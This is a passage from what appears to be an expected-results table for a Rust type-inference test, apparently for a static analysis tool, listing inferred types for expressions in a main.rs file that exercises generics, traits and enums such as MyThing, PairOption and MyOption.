Wrapper | +| main.rs:697:26:697:34 | x3.put(...) | A | {EXTERNAL LOCATION} | i32 | +| main.rs:697:26:697:43 | ... .unwrap() | | {EXTERNAL LOCATION} | i32 | +| main.rs:697:33:697:33 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:700:18:700:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:700:26:700:27 | x3 | | main.rs:619:5:620:13 | S | +| main.rs:700:36:700:36 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:700:39:700:39 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:702:20:702:20 | S | | main.rs:619:5:620:13 | S | +| main.rs:703:18:703:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:705:13:705:14 | x5 | | main.rs:622:5:623:14 | S2 | +| main.rs:705:18:705:19 | S2 | | main.rs:622:5:623:14 | S2 | +| main.rs:706:18:706:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:706:26:706:27 | x5 | | main.rs:622:5:623:14 | S2 | +| main.rs:706:26:706:32 | x5.m1() | | main.rs:568:5:571:5 | Wrapper | +| main.rs:706:26:706:32 | x5.m1() | A | main.rs:622:5:623:14 | S2 | +| main.rs:707:13:707:14 | x6 | | main.rs:622:5:623:14 | S2 | +| main.rs:707:18:707:19 | S2 | | main.rs:622:5:623:14 | S2 | +| main.rs:708:18:708:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:708:26:708:27 | x6 | | main.rs:622:5:623:14 | S2 | +| main.rs:708:26:708:32 | x6.m2() | | main.rs:568:5:571:5 | Wrapper | +| main.rs:708:26:708:32 | x6.m2() | A | main.rs:622:5:623:14 | S2 | +| main.rs:710:13:710:22 | assoc_zero | | main.rs:625:5:626:14 | AT | +| main.rs:710:26:710:27 | AT | | main.rs:625:5:626:14 | AT | +| main.rs:710:26:710:38 | AT.get_zero() | | main.rs:625:5:626:14 | AT | +| main.rs:711:13:711:21 | assoc_one | | main.rs:619:5:620:13 | S | +| main.rs:711:25:711:26 | AT | | main.rs:625:5:626:14 | AT | +| main.rs:711:25:711:36 | AT.get_one() | | main.rs:619:5:620:13 | S | +| main.rs:712:13:712:21 | assoc_two | | main.rs:622:5:623:14 | S2 | +| main.rs:712:25:712:26 | AT | | main.rs:625:5:626:14 | AT | +| main.rs:712:25:712:36 | AT.get_two() | | main.rs:622:5:623:14 | S2 | +| main.rs:729:15:729:18 | SelfParam | | main.rs:717:5:721:5 | MyEnum | +| main.rs:729:15:729:18 | SelfParam | A | main.rs:728:10:728:10 | T | +| main.rs:729:26:734:9 | { ... } | | main.rs:728:10:728:10 | T | +| main.rs:730:13:733:13 | match self { ... } | | main.rs:728:10:728:10 | T | +| main.rs:730:19:730:22 | self | | main.rs:717:5:721:5 | MyEnum | +| main.rs:730:19:730:22 | self | A | main.rs:728:10:728:10 | T | +| main.rs:731:28:731:28 | a | | main.rs:728:10:728:10 | T | +| main.rs:731:34:731:34 | a | | main.rs:728:10:728:10 | T | +| main.rs:732:30:732:30 | a | | main.rs:728:10:728:10 | T | +| main.rs:732:37:732:37 | a | | main.rs:728:10:728:10 | T | +| main.rs:738:13:738:13 | x | | main.rs:717:5:721:5 | MyEnum | +| main.rs:738:13:738:13 | x | A | main.rs:723:5:724:14 | S1 | +| main.rs:738:17:738:30 | ...::C1(...) | | main.rs:717:5:721:5 | MyEnum | +| main.rs:738:17:738:30 | ...::C1(...) | A | main.rs:723:5:724:14 | S1 | +| main.rs:738:28:738:29 | S1 | | main.rs:723:5:724:14 | S1 | +| main.rs:739:13:739:13 | y | | main.rs:717:5:721:5 | MyEnum | +| main.rs:739:13:739:13 | y | A | main.rs:725:5:726:14 | S2 | +| main.rs:739:17:739:36 | ...::C2 {...} | | main.rs:717:5:721:5 | MyEnum | +| main.rs:739:17:739:36 | ...::C2 {...} | A | main.rs:725:5:726:14 | S2 | +| main.rs:739:33:739:34 | S2 | | main.rs:725:5:726:14 | S2 | +| main.rs:741:18:741:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:741:26:741:26 | x | | main.rs:717:5:721:5 | MyEnum | +| main.rs:741:26:741:26 | x | A | main.rs:723:5:724:14 | S1 | +| main.rs:741:26:741:31 | x.m1() | | main.rs:723:5:724:14 | S1 | +| main.rs:742:18:742:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:742:26:742:26 | y | | main.rs:717:5:721:5 | MyEnum | +| main.rs:742:26:742:26 | y | A | main.rs:725:5:726:14 | S2 | +| main.rs:742:26:742:31 | y.m1() | | main.rs:725:5:726:14 | S2 | +| main.rs:764:15:764:18 | SelfParam | | main.rs:762:5:765:5 | Self [trait MyTrait1] | +| main.rs:769:15:769:18 | SelfParam | | main.rs:767:5:779:5 | Self [trait MyTrait2] | +| main.rs:772:9:778:9 | { ... } | | main.rs:767:20:767:22 | Tr2 | +| main.rs:773:13:777:13 | if ... {...} else {...} | | main.rs:767:20:767:22 | Tr2 | +| main.rs:773:16:773:16 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:773:16:773:20 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:773:20:773:20 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:773:22:775:13 | { ... } | | main.rs:767:20:767:22 | Tr2 | +| main.rs:774:17:774:20 | self | | main.rs:767:5:779:5 | Self [trait MyTrait2] | +| main.rs:774:17:774:25 | self.m1() | | main.rs:767:20:767:22 | Tr2 | +| main.rs:775:20:777:13 | { ... } | | main.rs:767:20:767:22 | Tr2 | +| main.rs:776:17:776:30 | ...::m1(...) | | main.rs:767:20:767:22 | Tr2 | +| main.rs:776:26:776:29 | self | | main.rs:767:5:779:5 | Self [trait MyTrait2] | +| main.rs:783:15:783:18 | SelfParam | | main.rs:781:5:793:5 | Self [trait MyTrait3] | +| main.rs:786:9:792:9 | { ... } | | main.rs:781:20:781:22 | Tr3 | +| main.rs:787:13:791:13 | if ... {...} else {...} | | main.rs:781:20:781:22 | Tr3 | +| main.rs:787:16:787:16 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:787:16:787:20 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:787:20:787:20 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:787:22:789:13 | { ... } | | main.rs:781:20:781:22 | Tr3 | +| main.rs:788:17:788:20 | self | | main.rs:781:5:793:5 | Self [trait MyTrait3] | +| main.rs:788:17:788:25 | self.m2() | | main.rs:747:5:750:5 | MyThing | +| main.rs:788:17:788:25 | self.m2() | A | main.rs:781:20:781:22 | Tr3 | +| main.rs:788:17:788:27 | ... .a | | main.rs:781:20:781:22 | Tr3 | +| main.rs:789:20:791:13 | { ... } | | main.rs:781:20:781:22 | Tr3 | +| main.rs:790:17:790:30 | ...::m2(...) | | main.rs:747:5:750:5 | MyThing | +| main.rs:790:17:790:30 | ...::m2(...) | A | main.rs:781:20:781:22 | Tr3 | +| main.rs:790:17:790:32 | ... .a | | main.rs:781:20:781:22 | Tr3 | +| main.rs:790:26:790:29 | self | | main.rs:781:5:793:5 | Self [trait MyTrait3] | +| main.rs:797:15:797:18 | SelfParam | | main.rs:747:5:750:5 | MyThing | +| main.rs:797:15:797:18 | SelfParam | A | main.rs:795:10:795:10 | T | +| main.rs:797:26:799:9 | { ... } | | main.rs:795:10:795:10 | T | +| main.rs:798:13:798:16 | self | | main.rs:747:5:750:5 | MyThing | +| main.rs:798:13:798:16 | self | A | main.rs:795:10:795:10 | T | +| main.rs:798:13:798:18 | self.a | | main.rs:795:10:795:10 | T | +| main.rs:806:15:806:18 | SelfParam | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:806:15:806:18 | SelfParam | A | main.rs:804:10:804:10 | T | +| main.rs:806:35:808:9 | { ... } | | main.rs:747:5:750:5 | MyThing | +| main.rs:806:35:808:9 | { ... } | A | main.rs:804:10:804:10 | T | +| main.rs:807:13:807:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:807:13:807:33 | MyThing {...} | A | main.rs:804:10:804:10 | T | +| main.rs:807:26:807:29 | self | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:807:26:807:29 | self | A | main.rs:804:10:804:10 | T | +| main.rs:807:26:807:31 | self.a | | main.rs:804:10:804:10 | T | +| main.rs:815:44:815:44 | x | | main.rs:815:26:815:41 | T2 | +| main.rs:815:57:817:5 | { ... } | | main.rs:815:22:815:23 | T1 | +| main.rs:816:9:816:9 | x | | main.rs:815:26:815:41 | T2 | +| main.rs:816:9:816:14 | x.m1() | | main.rs:815:22:815:23 | T1 | +| main.rs:819:56:819:56 | x | | main.rs:819:39:819:53 | T | +| main.rs:821:13:821:13 | a | | main.rs:747:5:750:5 | MyThing | +| main.rs:821:13:821:13 | a | A | main.rs:757:5:758:14 | S1 | +| main.rs:821:17:821:17 | x | | main.rs:819:39:819:53 | T | +| main.rs:821:17:821:22 | x.m1() | | main.rs:747:5:750:5 | MyThing | +| main.rs:821:17:821:22 | x.m1() | A | main.rs:757:5:758:14 | S1 | +| main.rs:822:18:822:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:822:26:822:26 | a | | main.rs:747:5:750:5 | MyThing | +| main.rs:822:26:822:26 | a | A | main.rs:757:5:758:14 | S1 | +| main.rs:826:13:826:13 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:826:13:826:13 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:826:17:826:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:826:17:826:33 | MyThing {...} | A | main.rs:757:5:758:14 | S1 | +| main.rs:826:30:826:31 | S1 | | main.rs:757:5:758:14 | S1 | +| main.rs:827:13:827:13 | y | | main.rs:747:5:750:5 | MyThing | +| main.rs:827:13:827:13 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:827:17:827:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:827:17:827:33 | MyThing {...} | A | main.rs:759:5:760:14 | S2 | +| main.rs:827:30:827:31 | S2 | | main.rs:759:5:760:14 | S2 | +| main.rs:829:18:829:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:829:26:829:26 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:829:26:829:26 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:829:26:829:31 | x.m1() | | main.rs:757:5:758:14 | S1 | +| main.rs:830:18:830:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:830:26:830:26 | y | | main.rs:747:5:750:5 | MyThing | +| main.rs:830:26:830:26 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:830:26:830:31 | y.m1() | | main.rs:759:5:760:14 | S2 | +| main.rs:832:13:832:13 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:832:13:832:13 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:832:17:832:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:832:17:832:33 | MyThing {...} | A | main.rs:757:5:758:14 | S1 | +| main.rs:832:30:832:31 | S1 | | main.rs:757:5:758:14 | S1 | +| main.rs:833:13:833:13 | y | | main.rs:747:5:750:5 | MyThing | +| main.rs:833:13:833:13 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:833:17:833:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:833:17:833:33 | MyThing {...} | A | main.rs:759:5:760:14 | S2 | +| main.rs:833:30:833:31 | S2 | | main.rs:759:5:760:14 | S2 | +| main.rs:835:18:835:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:835:26:835:26 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:835:26:835:26 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:835:26:835:31 | x.m2() | | main.rs:757:5:758:14 | S1 | +| main.rs:836:18:836:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:836:26:836:26 | y | | main.rs:747:5:750:5 | MyThing | +| main.rs:836:26:836:26 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:836:26:836:31 | y.m2() | | main.rs:759:5:760:14 | S2 | +| main.rs:838:13:838:13 | x | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:838:13:838:13 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:838:17:838:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:838:17:838:34 | MyThing2 {...} | A | main.rs:757:5:758:14 | S1 | +| main.rs:838:31:838:32 | S1 | | main.rs:757:5:758:14 | S1 | +| main.rs:839:13:839:13 | y | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:839:13:839:13 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:839:17:839:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:839:17:839:34 | MyThing2 {...} | A | main.rs:759:5:760:14 | S2 | +| main.rs:839:31:839:32 | S2 | | main.rs:759:5:760:14 | S2 | +| main.rs:841:18:841:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:841:26:841:26 | x | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:841:26:841:26 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:841:26:841:31 | x.m3() | | main.rs:757:5:758:14 | S1 | +| main.rs:842:18:842:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:842:26:842:26 | y | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:842:26:842:26 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:842:26:842:31 | y.m3() | | main.rs:759:5:760:14 | S2 | +| main.rs:844:13:844:13 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:844:13:844:13 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:844:17:844:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:844:17:844:33 | MyThing {...} | A | main.rs:757:5:758:14 | S1 | +| main.rs:844:30:844:31 | S1 | | main.rs:757:5:758:14 | S1 | +| main.rs:845:13:845:13 | s | | main.rs:757:5:758:14 | S1 | +| main.rs:845:17:845:32 | call_trait_m1(...) | | main.rs:757:5:758:14 | S1 | +| main.rs:845:31:845:31 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:845:31:845:31 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:847:13:847:13 | x | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:847:13:847:13 | x | A | main.rs:759:5:760:14 | S2 | +| main.rs:847:17:847:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:847:17:847:34 | MyThing2 {...} | A | main.rs:759:5:760:14 | S2 | +| main.rs:847:31:847:32 | S2 | | main.rs:759:5:760:14 | S2 | +| main.rs:848:13:848:13 | s | | main.rs:747:5:750:5 | MyThing | +| main.rs:848:13:848:13 | s | A | main.rs:759:5:760:14 | S2 | +| main.rs:848:17:848:32 | call_trait_m1(...) | | main.rs:747:5:750:5 | MyThing | +| main.rs:848:17:848:32 | call_trait_m1(...) | A | main.rs:759:5:760:14 | S2 | +| main.rs:848:31:848:31 | x | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:848:31:848:31 | x | A | main.rs:759:5:760:14 | S2 | +| main.rs:866:22:866:22 | x | | file://:0:0:0:0 | & | +| main.rs:866:22:866:22 | x | &T | main.rs:866:11:866:19 | T | +| main.rs:866:35:868:5 | { ... } | | file://:0:0:0:0 | & | +| main.rs:866:35:868:5 | { ... } | &T | main.rs:866:11:866:19 | T | +| main.rs:867:9:867:9 | x | | file://:0:0:0:0 | & | +| main.rs:867:9:867:9 | x | &T | main.rs:866:11:866:19 | T | +| main.rs:871:17:871:20 | SelfParam | | main.rs:856:5:857:14 | S1 | +| main.rs:871:29:873:9 | { ... } | | main.rs:859:5:860:14 | S2 | +| main.rs:872:13:872:14 | S2 | | main.rs:859:5:860:14 | S2 | +| main.rs:876:21:876:21 | x | | main.rs:876:13:876:14 | T1 | +| main.rs:879:5:881:5 | { ... } | | main.rs:876:17:876:18 | T2 | +| main.rs:880:9:880:9 | x | | main.rs:876:13:876:14 | T1 | +| main.rs:880:9:880:16 | x.into() | | main.rs:876:17:876:18 | T2 | +| main.rs:884:13:884:13 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:884:17:884:18 | S1 | | main.rs:856:5:857:14 | S1 | +| main.rs:885:18:885:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:885:26:885:31 | id(...) | | file://:0:0:0:0 | & | +| main.rs:885:26:885:31 | id(...) | &T | main.rs:856:5:857:14 | S1 | +| main.rs:885:29:885:30 | &x | | file://:0:0:0:0 | & | +| main.rs:885:29:885:30 | &x | &T | main.rs:856:5:857:14 | S1 | +| main.rs:885:30:885:30 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:887:13:887:13 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:887:17:887:18 | S1 | | main.rs:856:5:857:14 | S1 | +| main.rs:888:18:888:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:888:26:888:37 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:888:26:888:37 | id::<...>(...) | &T | main.rs:856:5:857:14 | S1 | +| main.rs:888:35:888:36 | &x | | file://:0:0:0:0 | & | +| main.rs:888:35:888:36 | &x | &T | main.rs:856:5:857:14 | S1 | +| main.rs:888:36:888:36 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:890:13:890:13 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:890:17:890:18 | S1 | | main.rs:856:5:857:14 | S1 | +| main.rs:891:18:891:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:891:26:891:44 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:891:26:891:44 | id::<...>(...) | &T | main.rs:856:5:857:14 | S1 | +| main.rs:891:42:891:43 | &x | | file://:0:0:0:0 | & | +| main.rs:891:42:891:43 | &x | &T | main.rs:856:5:857:14 | S1 | +| main.rs:891:43:891:43 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:893:13:893:13 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:893:17:893:18 | S1 | | main.rs:856:5:857:14 | S1 | +| main.rs:894:9:894:25 | into::<...>(...) | | main.rs:859:5:860:14 | S2 | +| main.rs:894:24:894:24 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:896:13:896:13 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:896:17:896:18 | S1 | | main.rs:856:5:857:14 | S1 | +| main.rs:897:13:897:13 | y | | main.rs:859:5:860:14 | S2 | +| main.rs:897:21:897:27 | into(...) | | main.rs:859:5:860:14 | S2 | +| main.rs:897:26:897:26 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:911:22:911:25 | SelfParam | | main.rs:902:5:908:5 | PairOption | +| main.rs:911:22:911:25 | SelfParam | Fst | main.rs:910:10:910:12 | Fst | +| main.rs:911:22:911:25 | SelfParam | Snd | main.rs:910:15:910:17 | Snd | +| main.rs:911:35:918:9 | { ... } | | main.rs:910:15:910:17 | Snd | +| main.rs:912:13:917:13 | match self { ... } | | main.rs:910:15:910:17 | Snd | +| main.rs:912:19:912:22 | self | | main.rs:902:5:908:5 | PairOption | +| main.rs:912:19:912:22 | self | Fst | main.rs:910:10:910:12 | Fst | +| main.rs:912:19:912:22 | self | Snd | main.rs:910:15:910:17 | Snd | +| main.rs:913:43:913:82 | MacroExpr | | main.rs:910:15:910:17 | Snd | +| main.rs:913:50:913:81 | "PairNone has no second elemen... | | {EXTERNAL LOCATION} | str | +| main.rs:914:43:914:81 | MacroExpr | | main.rs:910:15:910:17 | Snd | +| main.rs:914:50:914:80 | "PairFst has no second element... | | {EXTERNAL LOCATION} | str | +| main.rs:915:37:915:39 | snd | | main.rs:910:15:910:17 | Snd | +| main.rs:915:45:915:47 | snd | | main.rs:910:15:910:17 | Snd | +| main.rs:916:41:916:43 | snd | | main.rs:910:15:910:17 | Snd | +| main.rs:916:49:916:51 | snd | | main.rs:910:15:910:17 | Snd | +| main.rs:942:10:942:10 | t | | main.rs:902:5:908:5 | PairOption | +| main.rs:942:10:942:10 | t | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:942:10:942:10 | t | Snd | main.rs:902:5:908:5 | PairOption | +| main.rs:942:10:942:10 | t | Snd.Fst | main.rs:924:5:925:14 | S2 | +| main.rs:942:10:942:10 | t | Snd.Snd | main.rs:927:5:928:14 | S3 | +| main.rs:943:13:943:13 | x | | main.rs:927:5:928:14 | S3 | +| main.rs:943:17:943:17 | t | | main.rs:902:5:908:5 | PairOption | +| main.rs:943:17:943:17 | t | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:943:17:943:17 | t | Snd | main.rs:902:5:908:5 | PairOption | +| main.rs:943:17:943:17 | t | Snd.Fst | main.rs:924:5:925:14 | S2 | +| main.rs:943:17:943:17 | t | Snd.Snd | main.rs:927:5:928:14 | S3 | +| main.rs:943:17:943:29 | t.unwrapSnd() | | main.rs:902:5:908:5 | PairOption | +| main.rs:943:17:943:29 | t.unwrapSnd() | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:943:17:943:29 | t.unwrapSnd() | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:943:17:943:41 | ... .unwrapSnd() | | main.rs:927:5:928:14 | S3 | +| main.rs:944:18:944:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:944:26:944:26 | x | | main.rs:927:5:928:14 | S3 | +| main.rs:949:13:949:14 | p1 | | main.rs:902:5:908:5 | PairOption | +| main.rs:949:13:949:14 | p1 | Fst | main.rs:921:5:922:14 | S1 | +| main.rs:949:13:949:14 | p1 | Snd | main.rs:924:5:925:14 | S2 | +| main.rs:949:26:949:53 | ...::PairBoth(...) | | main.rs:902:5:908:5 | PairOption | +| main.rs:949:26:949:53 | ...::PairBoth(...) | Fst | main.rs:921:5:922:14 | S1 | +| main.rs:949:26:949:53 | ...::PairBoth(...) | Snd | main.rs:924:5:925:14 | S2 | +| main.rs:949:47:949:48 | S1 | | main.rs:921:5:922:14 | S1 | +| main.rs:949:51:949:52 | S2 | | main.rs:924:5:925:14 | S2 | +| main.rs:950:18:950:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:950:26:950:27 | p1 | | main.rs:902:5:908:5 | PairOption | +| main.rs:950:26:950:27 | p1 | Fst | main.rs:921:5:922:14 | S1 | +| main.rs:950:26:950:27 | p1 | Snd | main.rs:924:5:925:14 | S2 | +| main.rs:953:13:953:14 | p2 | | main.rs:902:5:908:5 | PairOption | +| main.rs:953:13:953:14 | p2 | Fst | main.rs:921:5:922:14 | S1 | +| main.rs:953:13:953:14 | p2 | Snd | main.rs:924:5:925:14 | S2 | +| main.rs:953:26:953:47 | ...::PairNone(...) | | main.rs:902:5:908:5 | PairOption | +| main.rs:953:26:953:47 | ...::PairNone(...) | Fst | main.rs:921:5:922:14 | S1 | +| main.rs:953:26:953:47 | ...::PairNone(...) | Snd | main.rs:924:5:925:14 | S2 | +| main.rs:954:18:954:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:954:26:954:27 | p2 | | main.rs:902:5:908:5 | PairOption | +| main.rs:954:26:954:27 | p2 | Fst | main.rs:921:5:922:14 | S1 | +| main.rs:954:26:954:27 | p2 | Snd | main.rs:924:5:925:14 | S2 | +| main.rs:957:13:957:14 | p3 | | main.rs:902:5:908:5 | PairOption | +| main.rs:957:13:957:14 | p3 | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:957:13:957:14 | p3 | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:957:34:957:56 | ...::PairSnd(...) | | main.rs:902:5:908:5 | PairOption | +| main.rs:957:34:957:56 | ...::PairSnd(...) | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:957:34:957:56 | ...::PairSnd(...) | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:957:54:957:55 | S3 | | main.rs:927:5:928:14 | S3 | +| main.rs:958:18:958:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:958:26:958:27 | p3 | | main.rs:902:5:908:5 | PairOption | +| main.rs:958:26:958:27 | p3 | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:958:26:958:27 | p3 | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:961:13:961:14 | p3 | | main.rs:902:5:908:5 | PairOption | +| main.rs:961:13:961:14 | p3 | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:961:13:961:14 | p3 | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:961:35:961:56 | ...::PairNone(...) | | main.rs:902:5:908:5 | PairOption | +| main.rs:961:35:961:56 | ...::PairNone(...) | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:961:35:961:56 | ...::PairNone(...) | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:962:18:962:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:962:26:962:27 | p3 | | main.rs:902:5:908:5 | PairOption | +| main.rs:962:26:962:27 | p3 | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:962:26:962:27 | p3 | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:964:11:964:54 | ...::PairSnd(...) | | main.rs:902:5:908:5 | PairOption | +| main.rs:964:11:964:54 | ...::PairSnd(...) | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:964:11:964:54 | ...::PairSnd(...) | Snd | main.rs:902:5:908:5 | PairOption | +| main.rs:964:11:964:54 | ...::PairSnd(...) | Snd.Fst | main.rs:924:5:925:14 | S2 | +| main.rs:964:11:964:54 | ...::PairSnd(...) | Snd.Snd | main.rs:927:5:928:14 | S3 | +| main.rs:964:31:964:53 | ...::PairSnd(...) | | main.rs:902:5:908:5 | PairOption | +| main.rs:964:31:964:53 | ...::PairSnd(...) | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:964:31:964:53 | ...::PairSnd(...) | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:964:51:964:52 | S3 | | main.rs:927:5:928:14 | S3 | +| main.rs:977:16:977:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:977:16:977:24 | SelfParam | &T | main.rs:975:5:982:5 | Self [trait MyTrait] | +| main.rs:977:27:977:31 | value | | main.rs:975:19:975:19 | S | +| main.rs:979:21:979:29 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:979:21:979:29 | SelfParam | &T | main.rs:975:5:982:5 | Self [trait MyTrait] | +| main.rs:979:32:979:36 | value | | main.rs:975:19:975:19 | S | +| main.rs:980:13:980:16 | self | | file://:0:0:0:0 | & | +| main.rs:980:13:980:16 | self | &T | main.rs:975:5:982:5 | Self [trait MyTrait] | +| main.rs:980:22:980:26 | value | | main.rs:975:19:975:19 | S | +| main.rs:986:16:986:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:986:16:986:24 | SelfParam | &T | main.rs:969:5:973:5 | MyOption | +| main.rs:986:16:986:24 | SelfParam | &T.T | main.rs:984:10:984:10 | T | +| main.rs:986:27:986:31 | value | | main.rs:984:10:984:10 | T | +| main.rs:990:26:992:9 | { ... } | | main.rs:969:5:973:5 | MyOption | +| main.rs:990:26:992:9 | { ... } | T | main.rs:989:10:989:10 | T | +| main.rs:991:13:991:30 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:991:13:991:30 | ...::MyNone(...) | T | main.rs:989:10:989:10 | T | +| main.rs:996:20:996:23 | SelfParam | | main.rs:969:5:973:5 | MyOption | +| main.rs:996:20:996:23 | SelfParam | T | main.rs:969:5:973:5 | MyOption | +| main.rs:996:20:996:23 | SelfParam | T.T | main.rs:995:10:995:10 | T | +| main.rs:996:41:1001:9 | { ... } | | main.rs:969:5:973:5 | MyOption | +| main.rs:996:41:1001:9 | { ... } | T | main.rs:995:10:995:10 | T | +| main.rs:997:13:1000:13 | match self { ... } | | main.rs:969:5:973:5 | MyOption | +| main.rs:997:13:1000:13 | match self { ... } | T | main.rs:995:10:995:10 | T | +| main.rs:997:19:997:22 | self | | main.rs:969:5:973:5 | MyOption | +| main.rs:997:19:997:22 | self | T | main.rs:969:5:973:5 | MyOption | +| main.rs:997:19:997:22 | self | T.T | main.rs:995:10:995:10 | T | +| main.rs:998:39:998:56 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:998:39:998:56 | ...::MyNone(...) | T | main.rs:995:10:995:10 | T | +| main.rs:999:34:999:34 | x | | main.rs:969:5:973:5 | MyOption | +| main.rs:999:34:999:34 | x | T | main.rs:995:10:995:10 | T | +| main.rs:999:40:999:40 | x | | main.rs:969:5:973:5 | MyOption | +| main.rs:999:40:999:40 | x | T | main.rs:995:10:995:10 | T | +| main.rs:1008:13:1008:14 | x1 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1008:18:1008:37 | ...::new(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1009:18:1009:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1009:26:1009:27 | x1 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1011:13:1011:18 | mut x2 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1011:13:1011:18 | mut x2 | T | main.rs:1004:5:1005:13 | S | +| main.rs:1011:22:1011:36 | ...::new(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1011:22:1011:36 | ...::new(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1012:9:1012:10 | x2 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1012:9:1012:10 | x2 | T | 